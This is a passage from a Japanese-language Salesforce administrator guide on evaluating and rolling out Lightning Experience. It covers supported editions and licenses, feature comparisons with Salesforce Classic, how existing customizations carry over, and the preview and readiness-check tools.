項目に「salesforce.com」と入力してレコードを保存すると、[Web サイト] 項目には http://salesforce.com と表示さ
れますが、保存される値は salesforce.com となります。そのため、[Web サイト] 条件項目に「http://salesforce.com」
と入力した場合は、検索結果に目的のレコードが表示されません。
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組織の Lightning Experience の評価とロールアウト

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

新しい Salesforce ユーザエクスペリエンスが開発されました。Lightning Experience

は、まったく新しい概念のインターフェースです。さらに、UI プラットフォー
ムで構築されているため、ニーズに伴いエクスペリエンスの成長および進化が
可能です。
システム管理者は、Salesforce のあらゆる事項に関する会社の信頼できる相談相
手であり、Lightning Experience を組織にロールアウトする時期決定を手助けしま
す。このガイドには、新しいインターフェースを評価し、一部または全部のユー
ザのニーズを満たしているかどうかを判断するために必要な詳細が含まれてい
ます。準備が整ったら、ロールアウト計画を実行し、Lightning Experience に切り
替えることができます。

Lightning Experience が特別な理由
Salesforce の新しく迅速で優れたユーザエクスペリエンスである Lightning Experience へようこそ。セールス主
体の考え方に基づき、セールスプロセスのサポートを改善するため、デスクトップ環境の再構想に焦点を
絞っています。その結果、営業担当がより自然に作業でき、商談をさらに迅速に成立させるのに役立つ直
感的でインテリジェントなインターフェースが導入されました。新しいインターフェースの一部の主要機
能を確認し、Lightning Experience が一部または全部のユーザに適したものであるかをご判断ください。
Lightning Experience が Salesforce 組織に適しているかどうかの判断
Lightning Experience は多くの関心を集めています。この新しいインターフェースが数多くの利点を営業チー
ムに提供することは明白です。ただし、Salesforce は非常に奥が深いため、一度にすべてを再構築すること
はできません。このリリースには、全機能を備えた Salesforce の前身である Salesforce Classic と完全に同じ機
能は備えられていません。いくつかの使用事例でLightning ExperienceとSalesforce Classicの違いを説明します。
この情報を参考にして、現時点で切り替えることが適切かどうかを判断してください。また、新しいイン
ターフェースで組織のプレビューを確認することもできます。
Lightning Experience への移行
成功です。これで、Lightning Experience への切り替えが可能であると判断できました。まず、ロールアウト
のガイドとなる戦略を策定することをお勧めします。次に、適切なタイミングで、次の手順に従って新し
いユーザインターフェースを有効にします。
Lightning Experience の操作方法
まったく新しい Lightning Experience に少し困惑していますか? その気持ちはよくわかります。特に元のイン
ターフェースでは目を閉じても操作できるような場合、再設計されたアプリケーションの操作に混乱する
かもしれません。Lightning Experience に慣れるために、最も一般的な Salesforce 機能が新しいインターフェー
スのどこにあるのかを見ていきましょう。
Lightning Experience の考慮事項
このリリースのLightning Experienceには、Salesforce Classicの機能のうち、含まれていないものがあります。次
のトピックを参照して、ビジネスに不可欠な機能がこのリリースで制限されたり、使用できなくなったり
していないか確認してください。この情報は、Lightning Experience への切り替え時にユーザに対して行うト
レーニングにも役立ちます。
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Lightning Experience 情報センター
Lightning Experience の使用、組織向けの設定、新しいユーザインターフェースの開発についての詳細は、以
下のリソースを参照してください。
Lightning Experience ロードマップ
Lightning Experience は、150,000 人を超えるお客様からのフィードバックに基づいて構築されています。正式
リリースされてからは、Lightning Experience をさらに推進するためにお客様のアイデア、コメント、および
要望を集めています。現在取り組み中の機能とアイデアとして次のようなものがあります。

関連トピック:

https://trailhead.salesforce.com/trail/lex_admin_migration

https://trailhead.salesforce.com/trail/lex_dev

Lightning Experience が特別な理由

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforceの新しく迅速で優れたユーザエクスペリエンスであるLightning Experience

へようこそ。セールス主体の考え方に基づき、セールスプロセスのサポートを
改善するため、デスクトップ環境の再構想に焦点を絞っています。その結果、
営業担当がより自然に作業でき、商談をさらに迅速に成立させるのに役立つ直
感的でインテリジェントなインターフェースが導入されました。新しいインター
フェースの一部の主要機能を確認し、Lightning Experienceが一部または全部のユー
ザに適したものであるかをご判断ください。
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適切である理由機能

Lightning Experienceのナビゲーションでは、ナビゲーションバーから直接アクショ
ンを実行したり、最近のレコードやリストにアクセスしたりできるため、ユーザ

Lightning アプリケーション

の効率性が高まります。カスタムの色やロゴ、説明でブランド設定したアプリ
ケーションを、ユーザが切り替えることができます。

新しいインテリジェントなホームページで 1 日が開始します。目標達成に向けた
パフォーマンスを監視し、主要な取引先に関するニュースを取得します。アシス
タントでなすべきことを正確に確認することで、予定を維持します。

ホーム

アクションが最適化されたこのワークスペースからセールスプロセスの各フェー
ズで、適切な動作を促進します。ステップごとにコーチングスクリプトをカスタ

商談ワークスペース

マイズできます。営業担当は、便利なコンポーザを使用して自分の商談でより効
率的に作業でき、活動の記録、ToDo の作成、メールの送信などをすばやく行うこ
とができます。

リード、商談、契約、キャンペーンの状況を視覚的に確認します。ユーザがレ
コードをある状況から別の状況にドラッグできます。商談については、重要な案
件にアクションが必要になった時点でユーザにアラートを表示できます。

Kanban

コンテキストを切り替えることなく、日中に急遽発生する小さいが重要な活動を
効率的に処理します。たとえば、レポートの確認中に顧客から電話があったとし

コンポーザウィンドウ

ます。関連する案件を検索したり、別のレコードに切り替えることなく、すばや
くその活動を記録できます。コンポーザウィンドウは現在のページ上で開き、
ユーザが活動を記録し、レコードに関連付けることができる行動、ToDo、メモを
作成できます。

Lightning コンソールアプリケーションでユーザの作業が効率的になります。ユー
ザは Lightning コンソールアプリケーションを使用して、複数のレコードを一度に

コンソールアプリケーショ
ン

編集したり、Lightning Voice や Open CTI などのユーティリティにすばやくアクセス
したりできます。Lightning コンソールアプリケーションは Lightning プラットフォー
ムの能力と柔軟性を基盤として、3 列のレコードレイアウトや固定タブなどの
Salesforce Classic のコンソールにある多くの機能を使用できます。

商談、リード、取引先、取引先責任者ごとに、未完了の ToDo、予定されたミー
ティング、達成事項を活動タイムラインで確認します。
または、ToDo リストを使用して、未完了の ToDo、本日が期日の ToDo、完了した
ToDo の完全なリストを並べて、特定の ToDo の詳細を確認します。マネージャは、

活動タイムラインと ToDo

リスト

代理ビューを使用して、ロール階層内で自分より下位のユーザに割り当てられた
ToDo を確認できます。

新しいレイアウトで情報を検索し、ニュースを一目で確認します。統合された顧
客の Twitter とニュースで顧客に関する最新情報を取得し、今後の活動や完了した

取引先と取引先責任者

活動を確認し、項目レベルの重複照合を使用してデータをクリーンな状態に維持
します。
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適切である理由機能

自動保存、リッチテキスト機能、インライン画像、バージョン管理により、より
適切なメモを作成します。メモを複数のレコードに関連付けたり、チームメイト
や Chatter グループと共有したりすることさえ可能です。

拡張されたメモ

Salesforceから離れることなく電話機能を使用できます。電話の発信と着信、通話
メモの追加、通話情報の登録を簡単に行うことができます。

Lightning Voice

Salesforce メールを使用して Gmail または Office 365 アカウントでメールを送信しま
す。送信したメールを Gmail または Office 365 の [送信済みアイテム] フォルダで表

インテグレーションメー
ル

示でき、シームレスなインテグレーションが実現されます。拡張メールを使用す
ると、メールを複数の取引先責任者、リード、ユーザに関連付けたり、1 つの商
談、キャンペーン、ケース、取引先や個人取引先に関連付けたりすることができ
ます。

Adobe Flash Player を必要としない豊富なファイルプレビュー環境を利用します。ベ
クターベースのプレビュー画像は、高品質で表示され、高解像度画面で画質が低

ファイルプレビュープレー
ヤー

下せず、かつ迅速に読み込まれます。新しいコントロールでは、複数ページのド
キュメントのスクロール、アニメーション GIF のプレビュー、全画面表示、ファ
イルアクションのアクセスが可能です。

データをさらに効率的に活用します。新しいレポート実行ページは、読み取りと
絞り込みが簡単です。アニメーションを使用した対話型グラフにより、組織の

レポートとダッシュボー
ド

データが活性化します。また、新しいダッシュボードエディタでは、列と行にま
たがった柔軟なレイアウトとコンポーネントをサポートしています。

カスタムリストビューをシームレスに作成および編集して、関連データをすばや
く見つけることができます。より直観的なリストビューを使用してデータをすば

リストビュー

やく表示し、特定のリストビューをその場で検索します。便利なリストビューグ
ラフを使用してデータを視覚化したり、必要に応じて検索条件を適用してデータ
を絞り込みます。

最近のレコードと上位の結果を含む改善された検索により、レコードをすばやく
検索します。

検索

簡略化された組織とクリーンアップされたデザインを使用して、設定ページに移
動します。すべての標準オブジェクトとカスタムオブジェクトがさらに簡単に検

設定ツリーとオブジェク
トマネージャ

索できる 1 つのリストにまとめられた、新しいオブジェクトマネージャを使用し
ます。
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Lightning Experience が Salesforce 組織に適しているかどうかの判
断

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience は多くの関心を集めています。この新しいインターフェース
が数多くの利点を営業チームに提供することは明白です。ただし、Salesforce は
非常に奥が深いため、一度にすべてを再構築することはできません。このリリー
スには、全機能を備えたSalesforceの前身であるSalesforce Classicと完全に同じ機能
は備えられていません。いくつかの使用事例で Lightning Experience と Salesforce

Classicの違いを説明します。この情報を参考にして、現時点で切り替えることが
適切かどうかを判断してください。また、新しいインターフェースで組織のプ
レビューを確認することもできます。
Lightning Experience は現時点では営業チームを対象としているため、他のクラウ
ドの一部の機能はまだ使用できません。Lightning Experience は今後のリリースで
引き続きより多くの機能が追加されますが、これらの今後追加される機能が現在のビジネスニーズにとってど
の程度重要であるかを評価する必要があります。
Lightning Experienceは一部のユーザに対して有効にできることも考慮してください。この柔軟性によって、営業
チームを今すぐ新しいインターフェースに移行し、サービス組織では引き続き Salesforce Classic を使用すること
ができます。または、この新しい環境でニーズが満たされることを確認できるまで、大多数のユーザの環境は
変更せずに、少人数のユーザグループで Lightning Experience パイロットを実行することもできます。

Lightning Experience 導入後も Salesforce Classic は使用可能
Salesforce Classicはまだ使用可能であり、Lightning Experienceユーザは新旧インターフェース間を簡単に移動で
きます。そのため、Lightning Experience が現時点では最適でなくても、システム管理者やユーザは失敗なく
適合性を試してみることができます。
Lightning Experience でサポートされているエディションおよびユーザライセンス
サポートされているエディションおよびユーザライセンスを調べ、Lightning Experience を有効にして使用で
きるかどうかを確認してください。
Lightning Experience の最適な使用事例
このリリースの Lightning Experience に適切な組織の種別について説明します。また、現時点では適切ではな
い可能性がある使用事例もいくつか紹介します。
Lightning Experience と Salesforce Classic の比較
新しいインターフェースで何ができ、何ができないのかを理解することは、Lightning Experience への切り替
えを判断するための重要な部分です。ここでは、Lightning ExperienceをSalesforce Classicで使用していた機能と
比較し、主要な点をまとめました。
既存の Salesforce カスタマイズの動作
Lightning Experience では、既存の設定とカスタマイズを尊重するように努めてきました。ポイント & クリッ
ク操作とプログラムによる実装の多くは、新しいインターフェースでもシームレスに動作します。ただし、
一部のカスタマイズは新しいインターフェースには適用されず、Lightning Experience のすべての機能を利用
するには更新が必要な場合があります。いくつかの考慮すべき問題を次に示します。
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Lightning Experience での組織のプレビュー
Lightning Experience で実際の組織はどうなるのでしょうか。まだユーザを切り替える準備ができていない場
合でも確認できる機能があります。Lightning Experience 移行アシスタントを利用します。移行アシスタント
のプレビュー機能を使用すると、Lightning Experience で本番組織を探索できるため、新しいインターフェー
スで実際のデータと現在のカスタマイズがどう機能するかを正確に確認できます。他のユーザの操作を妨
げることはありません。
Lightning Experience 準備状況チェックによる組織の Lightning への準備状況の確認
Lightning Experienceが会社に適しているかどうかに関心がありますか? Lightning Experience準備状況チェックで
は、組織を評価し、組織で使用している機能が Lightning でサポートされているかどうかを示すレポートを
生成します。

関連トピック:

Lightning Experience でサポートされているエディションおよびユーザライセンス
Lightning Experience でサポートされるブラウザ
Lightning Experience の考慮事項

Lightning Experience 導入後も Salesforce Classic は使用可能
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic はまだ使用可能であり、Lightning Experience ユーザは新旧インター
フェース間を簡単に移動できます。そのため、Lightning Experience が現時点では
最適でなくても、システム管理者やユーザは失敗なく適合性を試してみること
ができます。
Lightning Experience をユーザに対して有効にするときは、一部のユーザまたはす
べてのユーザが、デフォルトの推奨環境として新しいインターフェースをすぐ
に取得するように設定できます。Lightning Experience ユーザのすべてのニーズが
この新しいインターフェースで満たされることが理想的ですが、従来のインター
フェースに重要な機能やツールがある場合、ユーザはシステム管理者のサポー
トなしにいつでも Salesforce Classic に切り替えることができます。
Salesforce Classicに戻すには、スイッチャを使用します。Lightning Experienceヘッダーでプロファイル画像をクリッ
クし、[Salesforce Classic に切り替える] を選択します。

このスイッチャは、デフォルト設定を Salesforce Classic に変更します。スイッチャを使用して Lightning Experience

に戻すまで、従来のインターフェースのままになります。新しいインターフェースに戻すと、それがデフォル
ト設定になります。このしくみを理解してください。
Salesforce Classic でスイッチャを使用するには、右上隅の名前をクリックして [Lightning Experience に切り替え]

を選択します。
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ユーザが自分でインターフェースを切り替えられることで、Lightning Experienceの使用を開始する時期を決定し
やすくなります。チームで時々使用する機能がLightning Experienceで見つからない場合、ユーザはSalesforce Classic

に切り替えてその機能を使用できます。新しい環境のメリットを考え合わせると、このトレードオフなら受け
入れられるでしょう。ただし、サポートされていないセールス機能やサービス機能にユーザが毎日アクセスす
る必要があるユーザの場合、少なくとも現時点では Salesforce Classic に留まることが最善策です。

関連トピック:

ユーザが Lightning Experience と Salesforce Classic 間を切り替えるときに発生する可能性がある問題

Lightning Experience でサポートされているエディションおよびユーザ
ライセンス
サポートされているエディションおよびユーザライセンスを調べ、Lightning Experienceを有効にして使用できる
かどうかを確認してください。

エディション

サポートされているエディ
ション

• Group Edition

• Professional Edition

• Enterprise Edition

• Performance Edition

• Unlimited Edition

• Developer Edition

サポートされていないエディ
ション

• Personal Edition

• Contact Manager Edition

• Database.com Edition

• Chatter.com Edition

ユーザライセンス

サポートされているライセンス • Salesforce

• すべての Salesforce プラットフォームおよび Force.com (Force.com Free

を除く)

• Identity ユーザ
• Company (Employee) Community
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ユーザライセンス

• Chatter External

• Chatter Plus

• Chatter Free

サポートされていないライセンス • カスタマーコミュニティ、カスタマーコミュニティプラス、パート
ナーコミュニティ

• すべてのポータルライセンス
• Force.com Free

• Work.com

• Database.com

• Content Only

• Ideas Only

• Knowledge Only

• Site.com Only

Lightning Experience の最適な使用事例
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

このリリースの Lightning Experience に適切な組織の種別について説明します。ま
た、現時点では適切ではない可能性がある使用事例もいくつか紹介します。
次の条件が該当する場合は組織の一部または全員が Lightning Experience を使用す
ることを検討してください。
• 営業チームが取引先、取引先責任者、リード、商談、カスタムオブジェク

ト、および新しいユーザインターフェースでサポートされているその他の
セールス機能を使用して企業間営業を行っている。

• 営業担当者のグループで新しいユーザインターフェースを試そうとしてい
る。

• Salesforce を再実装しようとしている。いずれにせよ変更管理が必要なため、
これは新機能を導入する良い機会です。

次の条件が該当する場合は Salesforce Classic の継続使用を検討してください。
• 営業チームが Lightning Experience ではまだ使用できない機能 (売上予測やテリトリー管理など) を定期的に使

用している。
• 営業チームとサービスチームが単一の環境を使用する必要がある。

Lightning Experience と Salesforce Classic の比較
新しいインターフェースで何ができ、何ができないのかを理解することは、Lightning Experienceへの切り替えを
判断するための重要な部分です。ここでは、Lightning ExperienceをSalesforce Classicで使用していた機能と比較し、
主要な点をまとめました。
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メモ: 次のリストには、Lightning Experience で使用できない機能がすべて含まれているわけではありませ
ん。判断する場合には、「Lightning Experience の考慮事項」も参照してください。

Salesforce データ

Salesforce ClassicLightning Experience機能

セールスオブジェクト: 取引先、キャンペーン、
取引先責任者、リード、商談、個人取引先、価
格表、商品

カレンダー、行動、ToDo

サービスオブジェクト: 納入商品、基本ケース、
作業指示

カスタムオブジェクト

Chatter フィード、グループ、および人
Salesforce Files

その他のセールスオブジェクトとサービスオブ
ジェクト

ホーム

Salesforce ClassicLightning Experience機能

パフォーマンスグラフ

アシスタント

ニュース

最も重要な商談
ToDo

行動*

カレンダー*

フィードとパブリッシャー

未承認申請

カスタマイズ可能なダッシュボード

カスタマイズ可能なホームページコンポーネン
ト
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* Lightning Experience では、ユーザのカレンダーに本日残っている行動のみが [ホーム] に表示されます。ユーザ
は、ナビゲーションバーの [カレンダー] タブですべての行動にアクセスできます。

取引先と取引先責任者

Salesforce ClassicLightning Experience機能

ニュース

活動タイムライン

拡張されたメモ

「参照」ページレイアウト

関連リスト

インテグレーションメールおよびテンプレート

Twitter ハイライト

(ベータサポート)

個人取引先

取引先チーム

取引先階層

取引先責任者階層

取引先責任者-to-複数取引先

重複する取引先の検索およびマージ

重複する取引先責任者の検索およびマージ

法人取引先および個人取引先の一致ルールと重
複ルール

取引先責任者の一致ルールと重複ルール

キャンペーン

Salesforce ClassicLightning Experience機能

キャンペーンメンバーの状況グラフ

キャンペーンメンバーのインポート

個々のキャンペーンメンバーの追加
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Salesforce ClassicLightning Experience機能

インポートによるキャンペーンメンバーの状況
の更新

キャンペーンメンバーのコピー

リストビューからのキャンペーンメンバーの追
加と管理

リード

Salesforce ClassicLightning Experience機能

ワークスペースページレイアウト

活動タイムライン

パス

ニュース

拡張されたメモ

リード所有者のキューへの変更

インテグレーションメールおよびテンプレート

API を使用したリードの取引開始に関するカスタ
マイズ

重複するリードの検索およびマージ

リードの一致ルールと重複ルール

商談

Salesforce ClassicLightning Experience機能

ワークスペースページレイアウト

活動タイムライン

パス

ニュース

拡張されたメモ

商談の視覚的表示 (Kanban)

インテグレーションメールおよびテンプレート
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Salesforce ClassicLightning Experience機能

商談チーム

商談分割

類似商談

大規模商談アラート

Data.com

Salesforce ClassicLightning Experience機能

取引先の見込み調査 (Data.com Prospector ライセン
スでのみ使用可能)

取引先責任者の見込み調査 (Data.com Prospector ラ
イセンスでのみ使用可能)

メモ:  Lightning Experience では、取引先責任
者が既存の取引先に関連付けられている場
合にのみ、取引先責任者データの検索と追
加を行うことができます。

同じ会社階層内の会社の見込み調査 (Data.com

Prospector ライセンスでのみ使用可能)

プロスペクティングインサイト (Data.com Prospector

ライセンスでのみ使用可能)

Data.com Clean によって更新された項目の表示

データインテグレーションを使用した「眺めて
比較」

データインテグレーションを使用した手動によ
るレコードの更新

[クリーンアップ] ボタン

[Data.com]タブを使用した会社、取引先責任者、
およびリードの見込み調査

データインテグレーションルール設定と状況の
表示 (Spring '17 リリース以降、クリーンアップルー
ルはデータインテグレーションルールと呼ばれ
ます)

リードとしての Data.com 取引先責任者の追加
(Data.com Prospector ライセンスでのみ使用可能)
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Salesforce ClassicLightning Experience機能

データインテグレーションルールの一致率の表
示 (Spring '17 リリース以降、クリーンアップルー
ルはデータインテグレーションルールと呼ばれ
ます。)

クリーンアップ設定、ジョブ、および個人設定
の設定

クリーンアップの総計値と分析の表示

Data.com レコードのカンマ区切り値 (CSV) ファイ
ルへのエクスポート (Data.com Prospector ライセン
スでのみ使用可能)

レポート

Salesforce ClassicLightning Experience機能

拡張レポートグラフ

レポートビューでの合計と小計の非表示

レポート表示時の対話型検索条件

レポートビルダー

バケット項目

カスタム集計項目

マトリックス、サマリー、表のレポート形式*

ロール階層検索条件

レポートフォルダの作成

結合レポート

円グラフ

レポートの更新のスケジュール**

フォローレポート

レポート通知

レポートのエクスポート
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* Lightning Experience ではフォルダ共有を設定できませんが、Salesforce Classic で作成されたフォルダが Lightning

Experience に表示される場合は割り当てられた権限をすべて継承します。** レポートに登録すれば Lightning

Experience で使用できます。

ダッシュボード

Salesforce ClassicLightning Experience機能

4 列以上の表示

ダッシュボードビルダー

絞り込まれたダッシュボードの表示

動的ダッシュボードの表示

ダッシュボードの更新のスケジュール*

ダッシュボードコンポーネントのフィードへの
投稿

ダッシュボードのフォロー

Visualforce コンポーネント

* Lightning Experienceではユーザがダッシュボードをスケジュールできませんが、Salesforce Classicでスケジュール
されたダッシュボードは Lightning Experience でもそのとおりに実行されます。

リストビュー

Salesforce ClassicLightning Experience機能

グラフ

検索条件の即時作成

オートコンプリートリストビューの検索

レコードの視覚的表示 (Kanban)

リストの作成および編集

並び替え可能な列

サイズ変更可能な列

共有設定*

検索条件ロジック

インライン編集
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* Lightning Experience では、「自分にのみ表示」または「すべてのユーザに表示」がマークされたリストビュー
の共有がサポートされています。特定のユーザグループとの共有はサポートされていません。

その他の機能と商品

Salesforce ClassicLightning Experience機能

Salesforce アプリケーションのカスタムブランド設
定

活動関連のコンポーザウィンドウ

レコードの作成および編集

レコード詳細項目のインライン編集

リストでのインライン編集

売上予測

テリトリー管理
Salesforce Communities*

パートナーポータル
Service Cloud**

Work.com

* [設定] とコミュニティの切り替えに使用されるヘッダーは、Salesforce Classic でのみ使用できます。
** Salesforce Console for Service および一連の制限された Service Cloud 機能は、Lightning Experience で使用できます。

既存の Salesforce カスタマイズの動作
Lightning Experienceでは、既存の設定とカスタマイズを尊重するように努めてきました。ポイント & クリック操
作とプログラムによる実装の多くは、新しいインターフェースでもシームレスに動作します。ただし、一部の
カスタマイズは新しいインターフェースには適用されず、Lightning Experienceのすべての機能を利用するには更
新が必要な場合があります。いくつかの考慮すべき問題を次に示します。

Lightning Experience のナビゲーションバー
Salesforce Classic と同様に、Lightning Experience のナビゲーションバーではユーザがオブジェクトやタブのセット
にアクセスできます。ナビゲーションバーはコンテナだと考えることができます。表示される項目は使用して
いるアプリケーションに合わせて変わります。Salesforce Classic 用に作成したアプリケーションは、変更するこ
となく Lightning Experience で機能します。Lightning Experience で新しいアプリケーションを作成した場合や Classic

アプリケーションをアップグレードした場合は、カスタムの色とロゴを使用してアプリケーションをブランド
設定することもできます。
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Lightning Experience では、次のものを使用してアプリケーションをカスタマイズできます。
• 独自の色とロゴ
• 標準オブジェクトおよびカスタムオブジェクト
• Lightning コンポーネントタブ
• Visualforce タブ
• Lightning ページのタブ

ページレイアウトとコンパクトレイアウト
Salesforce Classic でカスタムオブジェクトおよび標準オブジェクトに対して行ったレコードページのカスタマイ
ズは、Lightning Experienceのレコードページにも影響します。ただし、Lightning Experienceでは一部のページ要素
が異なって表示され、一部はサポートされていません。

ヒント: Lightning アプリケーションビルダーを使用してカスタム Lightning Experience レコードページを作成
すれば、異なるレコードページを異なるLightningアプリケーション、レコードタイプ、およびプロファイ
ルに割り当てることができます。

コンパクトレイアウトは、Lightning Experience でも Salesforce1 モバイルアプリケーションの場合と同じ役割を果
たし、レコードページの強調表示パネルにレコードの重要な項目が表示されます。Lightning Experienceでは、強
調表示パネルに現在のコンパクトレイアウトの最初の 5 項目が表示されます。
組織でユーティリティ機能を使用している場合、Lightning Experienceのフッターで、統合音声などの生産性ツー
ルにすばやくアクセスできるアプリケーションのユーティリティバーを有効にできます。

アクションとボタン
Salesforce Classicでアクションの作成や使用を行う場合、アクションは Chatter パブリッシャーに表示され、レコー
ドページの詳細の上に標準ボタンとカスタムボタンが表示されます。Salesforce1 では、すべてのアクション種
別とボタンは Salesforce1 アクションバーに混在します。Lightning Experience では、引き続きアクションとボタン
の境界が曖昧になっています。ただし、1 か所に表示する代わりに、アクションとボタンはレコードページの
いくつかの異なる領域に種別ごとにグループ化されています。
デフォルトでは、Lightning Experience にはグローバルパブリッシャーレイアウトの [Salesforce1 および Lightning

Experience アクション] セクションで定義されたアクションとボタンが含まれます。または、オブジェクトペー
ジレイアウトの同じセクションを使用してカスタマイズできます。アクションやボタンがレコードページのど
こに表示されるかを判断するロジックは次のとおりです。
• 行動、メモ、および ToDo に対する [活動の記録] アクション種別または [レコードを作成] アクション種別を

含むグローバルアクションは、ヘッダーの [グローバルアクション] メニューに表示されます。
• ほとんどのクイックアクション、生産性アクション、標準ボタン、およびサポート対象のカスタムボタン

は、ページレベルのアクションメニューに追加されます。
• [活動の記録]、[新規行動]、[新規 ToDo]、[メール] などのオブジェクト固有の活動関連のアクションは、[活

動] タブのコンポーザに表示されます。
• 標準の Chatter アクションは、[コラボレーション] タブのコンポーザに表示されます。
各領域のアクションの順序は、グローバルパブリッシャーまたはオブジェクトページレイアウトに追加された
順序に基づきます。
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詳細は、Salesforce ヘルプの「Lightning Experience のアクション」を参照してください。

カスタムボタン
JavaScript コンテンツソースを使用するカスタムボタンは、Lightning Experience ではサポートされていません。
JavaScript ボタンの使用事例の Lightning 対応ソリューションのリストについては、Trailhead の「JavaScript ボタン
の Lightning の代替法」を参照してください。
コンテンツソースが URL または Visualforce ページとして定義されているカスタムボタンは、期待どおりに動作
します。

Visualforce および Lightning コンポーネント
Salesforce Classic から Lightning Experience への変更は大きなものですが、Visualforce ページが動作しなくなるわけで
はありません。このリリースの Lightning Experience では、Visualforce のサポートが含まれます。既存の多くの
Visualforce ページは、変更することなく Lightning Experience で動作します。新しいインターフェースでは色々と
移動されているため、Visualforce ページを期待どおりに動作させるにはいくつかの処理が必要な場合がありま
す。現時点では、Lightning Experience では動作しないいくつかの Visualforce 機能があります。
いくつかの考慮すべき基本詳細を次に示します。
• Visualforce ページで JavaScript を使用している場合は、確認が必要な事項があります。Lightning Experience に表

示されるときは Visualforceがページ全体を「所有」していません。そのため JavaScript コードはいくつかの新
しいルールに従う必要があります。

• Visualforce ページで組み込み標準コンポーネントを使用している場合は、ユーザが新旧どちらのインター
フェースにアクセスした場合でも Salesforce Classic のデザインになります。ページを Lightning Experience スタ
イルにする場合は、いくつかの作業が必要です。
この作業をサポートするために、Lightning Experience に適合するインターフェースを作成するための設計パ
ターン、コンポーネント、ガイドラインのコレクションである Salesforce Lightning Design System (SLDS) を公開
します。SLDS は、www.lightningdesignsystem.com から入手できます。

成功要因と失敗要因に関する完全なスキニーは、『Developer Trail - Lightning Experience』 Trailhead トレイルの
「Visualforce および Lightning Experience」モジュールを参照してください。
新しい UI のカスタマイズには Lightning コンポーネントフレームワークを使用します。Lightning コンポーネント
フレームワークは、デスクトップおよびモバイルデバイス用の動的な Web アプリケーションを開発するため
の新しい UI フレームワークです。このフレームワークまたは Visualforce を新しいプロジェクトで使用します。
UI 開発についての詳細は、「Lightning Experience Development」 Trailhead モジュールの「ユーザインターフェース
開発の考慮事項」を参照してください。Lightning コンポーネントについての詳細は、「Developer Trail - Lightning

Experience」 Trailhead モジュールの「Lightning コンポーネント」を参照してください。

Force.com Canvas
Force.com Canvas を使用すると、サードパーティアプリケーションを簡単に Salesforce に統合できます。Lightning

Experienceでのキャンバス機能は、Salesforce Classicでの機能と同じです。引き続きVisualforceページやサポート対
象のあらゆる場所にキャンバスアプリケーションを埋め込むことができます。さらに、Lightning コンポーネン
トでキャンバスアプリケーションを公開できます。

205

既存の Salesforce カスタマイズの動作組織の Lightning Experience の評価とロールアウト

https://trailhead.salesforce.com/ja/module/lex_javascript_button_migration
https://trailhead.salesforce.com/ja/module/lex_javascript_button_migration
https://www.lightningdesignsystem.com
https://trailhead.salesforce.com/ja/trail/lex_dev
https://trailhead.salesforce.com/ja/module/lex_dev_visualforce
https://trailhead.salesforce.com/ja/module/lex_dev_overview
https://trailhead.salesforce.com/ja/lex_dev_overview/lex_dev_overview_future
https://trailhead.salesforce.com/ja/lex_dev_overview/lex_dev_overview_future
https://trailhead.salesforce.com/ja/trail/lex_dev
https://trailhead.salesforce.com/ja/trail/lex_dev
https://trailhead.salesforce.com/ja/module/lex_dev_lc_basics


Salesforce API および Apex
今まで使用していたプログラム型ツールやプロセスの多くは、Lightning Experienceによる影響をほとんど受けま
せん。新しいリリースによって Salesforce API の連動関係が機能しなくなることはありません。ワークベンチな
どのツールは変更されていません。開発環境は今までと同じです。
Apex クラスと API コールは正常に動作しますが、Lightning Experience ではまだサポートされていない機能がいく
つかあります。ユーザが新しいインターフェースを使用し、サポートされていない機能を操作する Apex コー
ドを実行すると、そのタスクは完了できません。この状況に対応するため、API と Apex の両方からユーザのイ
ンターフェース設定を判断する機能が追加されました。この機能を使用して、ユーザがエラーに遭遇しないよ
うに既存のコードにロジックを追加できます。完全な詳細は、「Lightning Experience の開発」 Trailhead モジュー
ルの「他の開発ツールへの変更について」を参照してください。

AppExchange アプリケーション
AppExchange の多くのアプリケーションには、カスタムオブジェクト、カスタムボタン、Visualforce ページなど
のカスタマイズが含まれています。Salesforceパートナーは、Lightning Experienceでそれぞれのアプリケーション
をテストし、Lightning 対応認定を申請しています。Lightning 対応のアプリケーションは Lightning Experience で動
作し、他の Lightning ページと一貫性のある操作性を提供します。アプリケーションが Lightning Experience でサ
ポートされている場合は、AppExchange リスト内で Lightning 対応マークが表示されます。アプリケーションが
Lightning Experience でサポートされていない場合は、代わりに Salesforce Classic で使用します。

メモ: 組織で Lightning 対応認定のないアプリケーションを Lightning Experience で使用することはできます
が、一部の機能が使用できない場合や期待どおりに動作しない場合があります。これらのアプリケーショ
ンの中には、Salesforce Classic のスタイルを使用しているために Lightning Experience での表示の視覚的な一貫
性がなくなるものもあります。最適な操作性を得るために、Lightning 対応として認定されていないアプリ
ケーションには Salesforce Classic を使用してください。
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Lightning Experience での組織のプレビュー
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning Experience 移行ア
シスタントを表示する
• 「設定・定義を参照す

る」

Lightning Experience 移行ア
シスタントを編集する
• 「アプリケーションの

カスタマイズ」

Lightning Experience で実際の組織はどうなるのでしょうか。まだユーザを切り替
える準備ができていない場合でも確認できる機能があります。Lightning Experience

移行アシスタントを利用します。移行アシスタントのプレビュー機能を使用す
ると、Lightning Experience で本番組織を探索できるため、新しいインターフェー
スで実際のデータと現在のカスタマイズがどう機能するかを正確に確認できま
す。他のユーザの操作を妨げることはありません。
プレビュー機能は、隔離された参照のみのツアーではありません。データ、設
定、権限などを変更できます。ただし、本番組織を使用していることに注意し
てください。変更するのは実際の環境であり、Salesforce Classic を使用している
ユーザに変更内容が見えてしまいます。
開始するには、[設定] から、[クイック検索] ボックスに「Lightning」と入力
し、[Lightning Experience] を選択します。[プレビュー] をクリックすると開始し
ます。

Lightning Experience 準備状況チェックによる組織の Lightning への準
備状況の確認

エディション

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning Experience 準備状
況チェックを実行する
• 「アプリケーションの

